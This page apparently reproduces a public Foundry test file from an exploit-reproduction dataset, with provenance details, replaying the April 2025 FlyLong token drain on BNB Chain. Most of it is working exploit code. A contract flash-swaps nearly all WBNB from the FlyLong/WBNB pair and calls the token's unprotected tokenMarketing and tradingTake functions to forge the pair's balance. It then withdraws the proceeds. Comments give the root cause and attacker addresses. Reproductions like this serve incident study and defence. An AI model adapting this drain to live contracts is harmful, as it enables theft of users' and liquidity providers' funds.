Public reproduction file
src/test/2025-04/flylong_exp.sol
Public reproduction file for dataset entry FlyLong.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1.73 BNB8// Attacker : 0xd4e11065267421F88c0cf7a7791d84D8Fdd7d42B9// Attack Contract : 0xC8e256A41d0ac7fD8D9ac31C0ae1942DC5EF841910// Vulnerable Contract : 0x9cA66a67dC3d77bEb59DC11cAf96677843797c0811// Attack Tx : https://bscscan.com/tx/0x45f6a7df540933b3d2b1a275fcbfc146bbd48934ffb6635c4839d8590a9efc8812//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x9cA66a67dC3d77bEb59DC11cAf96677843797c08#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/96818//19// Attack summary: The attacker borrowed almost all WBNB from the FlyLong/WBNB pair, then used20// FlyLong.tokenMarketing and FlyLong.tradingTake in the Pancake callback to forge the pair's FlyLong21// balance and satisfy the pair's K check.22// Root cause: FlyLong exposes public balance-writing controls to any low-BNB-balance caller.24address constant ATTACKER = 0xD4E11065267421F88C0Cf7A7791D84D8Fdd7D42B;25address constant ROOT_ATTACK_CONTRACT = 0x9b45c1f7a01378C6490c3fDC01dd392842cfAAC7;26address constant TRACE_HELPER = 0xC8e256A41d0Ac7fd8d9ac31c0Ae1942dC5Ef8419;27address constant FLYLONG_TOKEN = 0x9cA66a67dC3d77bEb59DC11cAf96677843797c08;28address constant FLYLONG_WBNB_PAIR = 0x27c0E529b3aA9289686dAf7ea12C9aCBcC3bb9A8;29address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;31interface IFlyLong {32 function balanceOf(33 address account34 ) external view returns (uint256);35 function tokenMarketing(36 address sellFromLiquidity37 ) external;38 function tradingTake(39 address isMarketing,40 uint256 swapAuto41 ) external;42 function tokenSwap() external view returns (bool);43}45interface IPancakePairLike {46 function token0() external view returns (address);47 function token1() external view returns (address);48 function swap(49 uint256 amount0Out,50 uint256 amount1Out,51 address to,52 bytes calldata data53 ) external;54}56interface IWBNBLike {57 function balanceOf(58 address account59 ) external view returns (uint256);60 function withdraw(61 uint256 amount62 ) external;63}65contract ContractTest is BaseTestWithBalanceLog {66 receive() external payable {}68 function setUp() public {69 vm.createSelectFork("bsc", 48_768_031);71 fundingToken = address(0);72 attacker = address(this);74 vm.label(ATTACKER, "Attacker EOA");75 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");76 vm.label(TRACE_HELPER, "Trace Helper");77 vm.label(FLYLONG_TOKEN, "FlyLong");78 vm.label(FLYLONG_WBNB_PAIR, "FlyLong/WBNB Pair");79 vm.label(WBNB_TOKEN, "WBNB");80 }82 function testExploit() public balanceLog {83 assertEq(IPancakePairLike(FLYLONG_WBNB_PAIR).token0(), FLYLONG_TOKEN);84 assertEq(IPancakePairLike(FLYLONG_WBNB_PAIR).token1(), WBNB_TOKEN);85 assertFalse(IFlyLong(FLYLONG_TOKEN).tokenSwap());86 assertEq(IWBNBLike(WBNB_TOKEN).balanceOf(FLYLONG_WBNB_PAIR), 1_726_035_104_006_254_735);87 assertEq(IFlyLong(FLYLONG_TOKEN).balanceOf(FLYLONG_WBNB_PAIR), 99_999_999_999_999_999_999_999_999);89 FlyLongDrainAttack attack = new FlyLongDrainAttack(payable(address(this)));90 attack.run();92 assertLt(IWBNBLike(WBNB_TOKEN).balanceOf(FLYLONG_WBNB_PAIR), 0.001 ether);93 assertGt(address(this).balance, 1.72 ether);94 }95}97contract FlyLongDrainAttack {98 address payable private immutable profitReceiver;100 receive() external payable {}102 constructor(103 address payable _profitReceiver104 ) {105 profitReceiver = _profitReceiver;106 }108 function run() external {109 uint256 pairWbnb = IWBNBLike(WBNB_TOKEN).balanceOf(FLYLONG_WBNB_PAIR);110 uint256 amountOut = pairWbnb * 9999 / 10_000;111 IPancakePairLike(FLYLONG_WBNB_PAIR).swap(0, amountOut, address(this), abi.encode(FLYLONG_WBNB_PAIR));113 uint256 wbnbProfit = IWBNBLike(WBNB_TOKEN).balanceOf(address(this));114 IWBNBLike(WBNB_TOKEN).withdraw(wbnbProfit);116 (bool ok,) = profitReceiver.call{value: address(this).balance}("");117 require(ok, "profit transfer failed");118 }120 function pancakeCall(121 address,122 uint256,123 uint256,124 bytes calldata125 ) external {126 require(msg.sender == FLYLONG_WBNB_PAIR, "unexpected pair");128 IFlyLong flyLong = IFlyLong(FLYLONG_TOKEN);129 flyLong.tokenMarketing(address(this));131 uint256 pairTokenBalance = flyLong.balanceOf(FLYLONG_WBNB_PAIR);132 flyLong.tradingTake(FLYLONG_WBNB_PAIR, pairTokenBalance * 100_000);133 }134}Analysis
Dataset entry
Public Foundry test for “FlyLong” (2025-04-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd4e11065267421f88c0cf7a7791d84d8fdd7d42b
- Attack Contract
0xc8e256a41d0ac7fd8d9ac31c0ae1942dc5ef8419
- Vulnerable Contract
0x9ca66a67dc3d77beb59dc11caf96677843797c08
- Attack Tx
0x45f6a7df540933b3d2b1a275fcbfc146bbd48934ffb6635c4839d8590a9efc88
File record
- Name
- FlyLong
- Path
- src/test/2025-04/flylong_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b181258aba3240ccd4eade8b7f5c3f4d3bce6afc
- Language
- Solidity
- Size
- 135 lines
- Date
- 2025-04-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/flylong_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b181258aba3240ccd4eade8b7f5c3f4d3bce6afc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.